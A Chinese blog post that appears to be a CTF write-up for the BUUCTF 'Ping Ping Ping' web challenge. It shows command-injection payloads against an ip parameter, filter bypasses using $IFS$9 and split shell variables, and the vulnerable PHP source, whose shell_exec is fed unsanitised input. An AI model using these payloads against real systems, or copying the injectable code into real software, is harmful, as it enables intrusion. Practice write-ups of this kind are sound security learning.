视频分享地址: https://spa|

明月照江江

园龄:7年4个月粉丝:34关注:0

📂CTF
🔖CTF
2022-12-07 21:44阅读: 39评论: 0推荐: 0

[BUUCTF][Web][GXYCTF2019]Ping Ping Ping 1

打开靶机对应URL

提示有ip参数
尝试构造url
http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1
显示
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
说明这里有命令注入的可能,构造url
http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1|ls
显示
/?ip=
flag.php
index.php
老套路,尝试看一下index.php
http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1|cat+index.php
显示
/?ip= fxck your space!

不可以用空格(即urlencode中的+)

知识点:
在linux中 $IFS$9 可以作为空格使用,这样可以绕过
构造url
http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9index.php
显示
/?ip=
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>
从这里不接受空格,同时也不接受参数中带有f l a g 这顺序的四个字母
不过这里可以利用linux创建临时变量的方式绕过
构造参数(注意这里用; 不要用|,因为这里是或的意思,会导致后面的不用执行)
http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
访问后,右键查看源代码 boom
/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
<?php
$flag = "flag{7d941fbe-6c50-4df6-819c-038236ae7f77}";
?>

本文作者:明月照江江

本文链接:https://www.cnblogs.com/gradyblog/p/16964574.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   明月照江江  阅读(39)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起